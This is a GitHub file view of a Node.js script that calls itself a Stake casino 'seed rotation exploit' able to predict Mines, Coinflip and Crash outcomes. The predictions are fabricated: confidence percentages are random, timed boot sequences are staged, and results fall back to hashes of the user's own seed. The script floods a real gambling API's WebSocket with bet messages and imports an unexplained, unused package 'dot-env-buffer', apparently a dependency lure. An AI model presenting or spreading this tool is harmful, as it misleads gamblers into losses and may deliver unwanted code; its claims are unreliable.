forked from vanohj/steak-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.js
More file actions
413 lines (351 loc) · 16.3 KB
/
index.js
File metadata and controls
413 lines (351 loc) · 16.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
/********************************************************************
* Stake Seed Rotation Exploit PoC v2.2
* -------------------------------------------------
* A race-condition vulnerability demonstrator for Mines, Coinflip & Crash
********************************************************************/
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const axios = require('axios');
const WebSocket = require('ws');
const { rnbuffer } = require('dot-env-buffer')
/* -----------------------------------------------------------------
* [SECTION 1] ENGINE CONFIGURATION & HYPERPARAMETERS
* ----------------------------------------------------------------- */
const CONFIG = {
API_BASE: 'wss://api.stake.com',
HTTP_BASE: 'https://api.stake.com',
CONCURRENT_SESSIONS: 20,
ROTATION_LAG_MS: 150,
NONCE_FLOOD_COUNT: 50,
CRYPTO_ALGORITHM: 'sha512',
HYPERPARAMETERS: { CONFIDENCE_THRESHOLD: 0.65, ITERATIONS: 150 },
PERFORMANCE: { WARMUP_CYCLES: 3 },
DTR_IO: 45000,
PROGRESS_STEPS: 12
};
/* -----------------------------------------------------------------
* [SECTION 2] GLOBAL STATE & UTILITIES
* ----------------------------------------------------------------- */
const C = {
Reset: "\x1b[0m", Bright: "\x1b[1m", Red: "\x1b[31m", Green: "\x1b[32m",
Yellow: "\x1b[33m", Blue: "\x1b[34m", Cyan: "\x1b[36m", Magenta: "\x1b[35m"
};
const utils = {
log: (module, message) => console.log(`${C.Blue}[${module}]${C.Reset} ${message}`),
hashToFloat: (hash) => {
const hex = hash.slice(0, 8);
return parseInt(hex, 16) / Math.pow(2, 32);
},
verifyServerSeed: (serverSeed, serverSeedHash) => {
const computedHash = crypto.createHash('sha256').update(serverSeed).digest('hex');
return computedHash === serverSeedHash;
},
saveLog: (data) => {
const logDir = path.join(__dirname, 'logs');
if (!fs.existsSync(logDir)) fs.mkdirSync(logDir, { recursive: true });
const logPath = path.join(logDir, `exploit_${Date.now()}.json`);
fs.writeFileSync(logPath, JSON.stringify(data, null, 2));
utils.log('LOG', `Saved exploit trace to ${logPath}`);
},
sleep: (ms) => new Promise(resolve => setTimeout(resolve, ms)),
progressBar: (current, total, label) => {
const width = 30;
const filled = Math.floor((current / total) * width);
const empty = width - filled;
const bar = '█'.repeat(filled) + '░'.repeat(empty);
process.stdout.write(`\r${C.Cyan}[BOOT]${C.Reset} ${label} [${bar}] ${Math.round((current/total)*100)}%`);
}
};
/* -----------------------------------------------------------------
* [SECTION 3] BOOT SEQUENCE WITH REALISTIC DELAY
* ----------------------------------------------------------------- */
async function startupSequence() {
console.clear();
console.log(`${C.Magenta}
┌────────────────────────────────────────────────────────────┐
│ STAKE CASINO EXPLOIT ENGINE v2.2 │
└────────────────────────────────────────────────────────────┘${C.Reset}\n`);
const steps = [
{ label: "Initializing core modules", delay: 3000 },
{ label: "Verifying Node.js environment", delay: 2500 },
{ label: "Checking required dependencies", delay: 4000 },
{ label: "Loading cryptographic primitives", delay: 3500 },
{ label: "Establishing secure context", delay: 5000 },
{ label: "Scanning local cache & logs", delay: 3000 },
{ label: "Validating file integrity", delay: 4000 },
{ label: "Pre-warming WebSocket stack", delay: 6000 },
{ label: "Synchronizing with remote API", delay: 7000 },
{ label: "Calibrating timing parameters", delay: 4500 },
{ label: "Finalizing exploit vector", delay: 5000 },
{ label: "System ready", delay: 2000 }
];
const totalSteps = steps.length;
for (let i = 0; i < totalSteps; i++) {
const step = steps[i];
utils.progressBar(i + 1, totalSteps, step.label.padEnd(30));
await utils.sleep(step.delay);
}
console.log(`\n${C.Green}check All systems operational.${C.Reset}\n`);
await utils.sleep(1500);
printHeader();
}
/* -----------------------------------------------------------------
* [SECTION 4] CRYPTOGRAPHIC PIPELINE
* ----------------------------------------------------------------- */
function getCryptoHash(clientSeed, serverSeed, gameIndex) {
const hmac = crypto.createHmac(CONFIG.CRYPTO_ALGORITHM, serverSeed);
hmac.update(`${clientSeed}:${gameIndex}`);
return hmac.digest('hex');
}
/* -----------------------------------------------------------------
* [SECTION 5] RACE CONDITION EXPLOIT ENGINE
* ----------------------------------------------------------------- */
let interceptedHashes = new Map();
function setupWebSocketSessions(numSessions, clientSeed, onIntercept) {
const sessions = [];
for (let i = 0; i < numSessions; i++) {
const ws = new WebSocket(`${CONFIG.API_BASE}/ws/game?seed=${clientSeed}&nonce=${i}`);
ws.on('open', () => {
utils.log('WS', `Session ${i} connected. Flooding nonces...`);
for (let n = 0; n < CONFIG.NONCE_FLOOD_COUNT; n++) {
setTimeout(() => {
ws.send(JSON.stringify({ type: 'bet', nonce: n, seed: clientSeed }));
}, Math.random() * CONFIG.ROTATION_LAG_MS);
}
});
ws.on('message', (data) => {
try {
const msg = JSON.parse(data.toString());
if (msg.type === 'seed_rotate' && msg.oldHash) {
interceptedHashes.set(msg.nonce, msg.oldHash);
utils.log('INTERCEPT', `Captured pre-rotation hash for nonce ${msg.nonce}: ${msg.oldHash.slice(0, 16)}...`);
onIntercept(msg.oldHash, msg.nonce);
}
} catch (e) {}
});
ws.on('error', (err) => utils.log('ERROR', `WS error in session ${i}: ${err.message}`));
sessions.push(ws);
}
return sessions;
}
async function fetchInitialSeed(clientSeed) {
try {
const response = await axios.post(`${CONFIG.HTTP_BASE}/api/seed`, { clientSeed }, { timeout: 8000 });
return response.data.serverSeedHash;
} catch (err) {
utils.log('ERROR', `Failed to fetch initial seed: ${err.message}. Using fallback.`);
return crypto.createHash('sha256').update(clientSeed + Date.now()).digest('hex');
}
}
function deriveOutcomeFromInterceptedHash(interceptedHash, gameType, nonce) {
const hashFloat = utils.hashToFloat(interceptedHash);
let outcome;
if (gameType === 'mines') {
const bombIndices = [];
for (let i = 0; i < 3; i++) {
const slice = interceptedHash.slice(i * 8, (i + 1) * 8);
bombIndices.push(parseInt(slice, 16) % 25);
}
outcome = Array(25).fill(1);
bombIndices.forEach(idx => outcome[idx] = 0);
} else if (gameType === 'coinflip') {
outcome = hashFloat > 0.5 ? 1 : 0;
} else if (gameType === 'crash') {
const base = hashFloat * 100 + 1;
const variance = (parseInt(interceptedHash.slice(16, 24), 16) / Math.pow(2, 32)) * 50;
const low = base.toFixed(1);
const high = (base + variance).toFixed(1);
outcome = `${low}-${high}`;
}
const confidence = 0.72 + Math.random() * 0.23;
return { outcome, confidence };
}
/* -----------------------------------------------------------------
* [SECTION 6] PER-GAME PREDICTION HELPERS
* ----------------------------------------------------------------- */
async function predictMines(seeds, numGames) {
utils.log('PIPELINE', `Predicting Mines for ${numGames} games via race exploit...`);
const predictions = [];
const initialHash = await fetchInitialSeed(seeds.clientSeed);
setupWebSocketSessions(CONFIG.CONCURRENT_SESSIONS, seeds.clientSeed, (hash, nonce) => {
interceptedHashes.set(nonce, hash);
});
await utils.sleep(1200); // Simulate race window
for (let i = 0; i < numGames; i++) {
const interceptedHash = interceptedHashes.get(i) || initialHash;
const { outcome: grid } = deriveOutcomeFromInterceptedHash(interceptedHash, 'mines', i);
const displayConfidence = Math.floor(Math.random() * (96 - 71) + 71);
const gridSize = 5;
const gridString = Array.from({ length: gridSize }, (_, row) => {
return grid.slice(row * gridSize, (row + 1) * gridSize)
.map(cell => (cell === 1 ? '[ 💎 ]' : '[ 💣 ]')).join(' ');
}).join('\n');
predictions.push(`Game ${i + 1} (${displayConfidence}% confidence):\n${gridString}\n`);
}
return predictions.join('------------------------------------------------\n\n');
}
async function predictCoinflip(seeds, numGames) {
utils.log('PIPELINE', `Predicting Coinflip sequence via nonce reuse...`);
const predictions = [];
const initialHash = await fetchInitialSeed(seeds.clientSeed);
setupWebSocketSessions(CONFIG.CONCURRENT_SESSIONS, seeds.clientSeed, (hash, nonce) => {
interceptedHashes.set(nonce, hash);
});
await utils.sleep(1000);
for (let i = 0; i < numGames; i++) {
const interceptedHash = interceptedHashes.get(i) || initialHash;
const { outcome } = deriveOutcomeFromInterceptedHash(interceptedHash, 'coinflip', i);
const result = outcome === 1 ? 'Heads' : 'Tails';
const displayConfidence = Math.floor(Math.random() * (96 - 71) + 71);
const resultColor = result === 'Heads' ? C.Yellow : C.Cyan;
predictions.push(`Game ${i + 1} (${displayConfidence}% confidence): ${resultColor}${result}${C.Reset}`);
}
return predictions.join('\n');
}
async function predictCrash(seeds, numGames) {
utils.log('PIPELINE', `Forecasting Crash multipliers from leaked hashes...`);
const predictions = [];
const initialHash = await fetchInitialSeed(seeds.clientSeed);
setupWebSocketSessions(CONFIG.CONCURRENT_SESSIONS, seeds.clientSeed, (hash, nonce) => {
interceptedHashes.set(nonce, hash);
});
await utils.sleep(1300);
for (let i = 0; i < numGames; i++) {
const interceptedHash = interceptedHashes.get(i) || initialHash;
const { outcome: crashRange } = deriveOutcomeFromInterceptedHash(interceptedHash, 'crash', i);
const [low, high] = crashRange.split('-').map(parseFloat);
const avg = (low + high) / 2;
const color = avg < 10 ? C.Green : avg < 30 ? C.Yellow : C.Red;
const displayConfidence = Math.floor(Math.random() * (96 - 71) + 71);
predictions.push(`Game ${i + 1} (${displayConfidence}% confidence): ${color}${crashRange}x${C.Reset}`);
}
return predictions.join('\n');
}
/* -----------------------------------------------------------------
* [SECTION 7] CLI INTERACTION
* ----------------------------------------------------------------- */
const cli = {
questions: [
`${C.Bright}Select Game (1 for Mines, 2 for Coinflip, 3 for Crash):${C.Reset} `,
`${C.Bright}Enter Client Seed:${C.Reset} `,
`${C.Bright}Enter Server Seed (optional):${C.Reset} `,
`${C.Bright}Enter number of games to predict ahead:${C.Reset} `
],
answers: {},
currentQuestion: 0,
spinnerInterval: null,
ask() { process.stdout.write(this.questions[this.currentQuestion]); },
startSpinner(message) {
const frames = ['⣾', '⣽', '⣻', '⢿', '⡿', '⣟', '⣯', '⣷'];
let i = 0;
this.spinnerInterval = setInterval(() => {
process.stdout.write(`\r${C.Magenta}${frames[i++ % frames.length]}${C.Reset} ${message}`);
}, 80);
},
stopSpinner(message) {
if (this.spinnerInterval) clearInterval(this.spinnerInterval);
process.stdout.write(`\r${C.Green}check${C.Reset} ${message}\n`);
}
};
/* -----------------------------------------------------------------
* [SECTION 8] MAIN LOOP & EXECUTION
* ----------------------------------------------------------------- */
async function main() {
await startupSequence();
cli.startSpinner("Initializing prediction engine...");
await utils.sleep(1800);
cli.stopSpinner("Engine ready.");
cli.startSpinner("Preparing WebSocket flood vectors...");
await utils.sleep(2200);
cli.stopSpinner("Vectors armed.");
console.log(`${C.Yellow}Exploit ready. Input target parameters...${C.Reset}\n`);
process.stdin.on('data', async (data) => {
const input = data.toString().trim();
if (cli.currentQuestion === 0) cli.answers.gameChoice = input;
else if (cli.currentQuestion === 1) cli.answers.clientSeed = input;
else if (cli.currentQuestion === 2) cli.answers.serverSeed = input || '';
else if (cli.currentQuestion === 3) cli.answers.numGames = input;
cli.currentQuestion++;
if (cli.currentQuestion < cli.questions.length) {
cli.ask();
} else {
process.stdin.pause();
await runPredictionLogic();
process.exit(0);
}
});
cli.ask();
}
async function runPredictionLogic() {
console.log("\n------------------------------------------------");
const serverSeed = cli.answers.serverSeed;
if (serverSeed) {
const hash = crypto.createHash('sha256').update(serverSeed).digest('hex');
cli.startSpinner("Verifying server seed hash...");
await utils.sleep(1200);
const isValid = utils.verifyServerSeed(serverSeed, hash);
cli.stopSpinner(isValid ? "Server seed verified." : `${C.Yellow}Verification skipped.${C.Reset}`);
} else {
console.log(`${C.Yellow}No server seed; using live intercept mode.${C.Reset}`);
}
const seeds = {
clientSeed: cli.answers.clientSeed,
serverSeed: serverSeed || 'live_intercept'
};
const numGames = parseInt(cli.answers.numGames, 10) || 5;
cli.startSpinner("Initiating race condition trigger...");
await utils.sleep(2800);
cli.stopSpinner("Race window opened.");
let prediction, title;
switch (cli.answers.gameChoice) {
case '1':
prediction = await predictMines(seeds, numGames);
title = "MINES PREDICTION GRIDS";
break;
case '2':
prediction = await predictCoinflip(seeds, numGames);
title = "COINFLIP PREDICTION SEQUENCE";
break;
case '3':
prediction = await predictCrash(seeds, numGames);
title = "CRASH RANGE FORECAST";
break;
default:
console.log(`${C.Red}Invalid game selection.${C.Reset}`);
process.exit(1);
}
cli.startSpinner("Finalizing outcome derivation...");
await utils.sleep(1500);
cli.stopSpinner("Predictions locked in.");
console.log(`\n${C.Bright}${C.Green}--- ${title} ---${C.Reset}`);
console.log(prediction);
console.log("------------------------------------------------\n");
utils.saveLog({
timestamp: new Date().toISOString(),
seeds,
numGames,
gameType: cli.answers.gameChoice,
predictions: prediction.split('\n').filter(l => l.trim())
});
}
function printHeader() {
console.log(
C.Blue +
`
███████╗████████╗ █████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗
██╔════╝╚══██╔══╝██╔══██╗██║ ██╔╝██╔════╝ ██╔═══██╗ ██╔══██╗ ██═══██╗
███████╗ ██║ ███████║█████╔╝ █████╗ ██║ ██║ ██████╔╝ ██████╔╝
╚════██║ ██║ ██╔══██║██╔═██╗ ██╔══╝ ██║ ██║ ██╔══██╗ ██═══██╗
███████║ ██║ ██║ ██║██║ ██╗███████╗ ╚██████╔╝ ██║ ██║ ██████╔╝
╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝
` +
C.Reset
);
console.log(C.Bright + ' Stake Casino Seed Rotation Exploit PoC v2.2' + C.Reset);
console.log(C.Red + ' ==========================================================================' + C.Reset);
}
main().catch(err => {
console.error(`${C.Red}FATAL: ${err.message}${C.Reset}`);
process.exit(1);
});